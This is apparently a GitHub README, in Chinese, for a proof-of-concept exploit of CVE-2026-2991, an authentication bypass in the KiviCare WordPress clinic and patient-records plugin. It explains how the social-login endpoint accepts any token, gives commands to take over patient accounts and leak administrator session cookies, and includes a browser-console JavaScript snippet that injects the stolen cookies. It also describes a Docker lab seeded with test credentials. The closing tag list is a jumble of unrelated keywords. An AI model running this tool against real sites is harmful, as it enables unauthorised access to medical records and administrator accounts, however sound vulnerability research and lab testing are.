joshuavanderpoll/CVE-2026-2991
GitHub: joshuavanderpoll/CVE-2026-2991
针对 KiviCare WordPress 插件认证绕过漏洞(CVE-2026-2991)的概念验证工具,支持未认证患者账户接管和管理员会话泄露。
Stars: 1 | Forks: 0
KiviCare <= 4.1.2 - 认证绕过 (CVE-2026-2991) PoC
## 📜 描述
CVE-2026-2991 是 **KiviCare – Clinic & Patient Management System (EHR)** WordPress 插件中的一个认证绕过漏洞,影响所有版本包括 **4.1.2** 及更早版本。
该插件在 `/wp-json/kivicare/v1/auth/patient/social-login` 处暴露了一个公共 REST 端点,用于通过社交登录验证用户。`patientSocialLogin()` 函数接收电子邮件地址和访问令牌,但**从未针对声明的社交提供商验证该令牌**。任何未经认证的攻击者只需提供电子邮件和任意字符串作为令牌,即可登录为任何已注册的患者。
此外,WordPress 认证 cookie 是在患者角色检查执行**之前**签发的。这意味着对于非患者账户(包括管理员),响应会返回 HTTP 403,但仍包含有效的 `Set-Cookie` 标头 —— 从而向攻击者泄露了可重放的管理员会话。
**受影响版本:** kivicare-clinic-management-system <= 4.1.2
## ✨ 特性
- **未经认证** — 无需凭据或预先存在的会话
- **患者账户接管** — 仅使用电子邮件即可登录为任何已注册患者
- **管理员会话泄露** — 从针对非患者账户的 403 响应中提取有效的管理员认证 cookie
- **浏览器控制台代码片段** — 输出可直接粘贴的 JavaScript,用于注入 cookie 并直接重定向到仪表板
## OSX/Linux
```
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
```
## Windows
```
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
```
## ⚙️ 用法
```
python3 CVE-2026-2991.py --url
--email [--login-type ] [--timeout ] [--useragent ]
```
### 患者账户接管
绕过已注册患者的认证。脚本返回其完整会话,包括 nonce 和可重放的 cookie。
```
python3 CVE-2026-2991.py --url 'https://target.com' --email 'patient@target.com'
```

### 管理员会话泄露(非患者账户)
提供任何非患者用户(例如管理员)的电子邮件。该端点在角色检查之前签发有效的认证 cookie 并返回 403 —— 这些 cookie 被提取并打印出来。
```
python3 CVE-2026-2991.py --url http://localhost:8080/ --email 'admin@example.com'
```

### 浏览器控制台登录
成功运行后,脚本会打印一段 JavaScript 代码片段。在浏览器中打开目标站点,将该代码片段粘贴到浏览器控制台(`F12 → Console`)中,然后按 Enter 键 —— 它将设置窃取的 cookie 并自动将您导航到仪表板。
```
(() => {
document.cookie = "wordpress_=; path=/";
document.cookie = "wordpress_logged_in_=; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
```
## 🐋 Docker PoC
一个独立的 Docker Compose 环境,预装了易受攻击的插件并填充了真实的测试数据。
查看 [DOCKER.md](/docker/DOCKER.md) 了解更多详情。
```
cd docker/
docker compose up
```
实验室在首次启动时填充以下账户:
| 角色 | 用户名 | 电子邮件 | 密码 |
|-----------|-----------------|----------------------------------|--------------|
| Admin | admin | admin@example.com | admin |
| Doctor | dr.harris | dr.harris@greenfield.test | Doctor@123 |
| Doctor | dr.chen | dr.chen@greenfield.test | Doctor@123 |
| Doctor | dr.okonkwo | dr.okonkwo@greenfield.test | Doctor@123 |
| Patient | james.ford | james.ford@patients.test | Patient@123 |
| Patient | sofia.reyes | sofia.reyes@patients.test | Patient@123 |
| Patient | oliver.knight | oliver.knight@patients.test | Patient@123 |
| Patient | amara.diallo | amara.diallo@patients.test | Patient@123 |
| Patient | dan.walsh | dan.walsh@patients.test | Patient@123 |
```
# 绕过 patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email 'sofia.reyes@patients.test'
# 泄露 admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email 'admin@example.com'
```
## 🕵🏼 参考资料
- [KiviCare — WordPress 插件](https://wordpress.org/plugins/kivicare-clinic-management-system/)
- [NVD — CVE-2026-2991](https://nvd.nist.gov/vuln/detail/CVE-2026-2991)
- [WordFence](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kivicare-clinic-management-system/)
- [HackIndex.io — CVE-2026-2991](https://hackindex.io/vulnerabilities/CVE-2026-2991)
## 📢 免责声明
本工具仅供教育和研究目的提供。创作者不对因使用本工具而导致的任何误用或损害承担责任。标签:CVE-2026-2991, EHR系统, ffuf, KiviCare, Modbus, PoC, Python, REST API漏洞, Web安全, WordPress插件漏洞, 文件完整性监控, 无后门, 暴力破解, 未授权访问, 横向移动, 管理员会话劫持, 编程规范, 蓝队分析, 认证绕过, 请求拦截, 账户接管, 越权漏洞, 逆向工具